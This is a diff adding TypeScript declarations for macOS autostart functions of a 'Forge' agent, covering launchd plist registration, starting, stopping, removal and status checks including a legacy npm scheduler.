+import { statusDarwinLegacyNpmScheduler } from "./darwinLegacyNpmSchedulerCleanup";
+import type { ResolvedAutostartLaunch } from "./resolve";
+export declare function registerDarwinAutostart(launch: ResolvedAutostartLaunch): boolean;
+export declare function kickstartDarwinForgeAgent(): void;
+/** Stop the agent for this login session; plist remains for next boot / login. */
+export declare function stopDarwinForgeAgent(): void;
+export declare function unregisterDarwinAutostart(): boolean;
+export declare function statusDarwinAutostart(): {
+    plist: boolean;
+    legacyNpmScheduler: ReturnType<typeof statusDarwinLegacyNpmScheduler>;
+};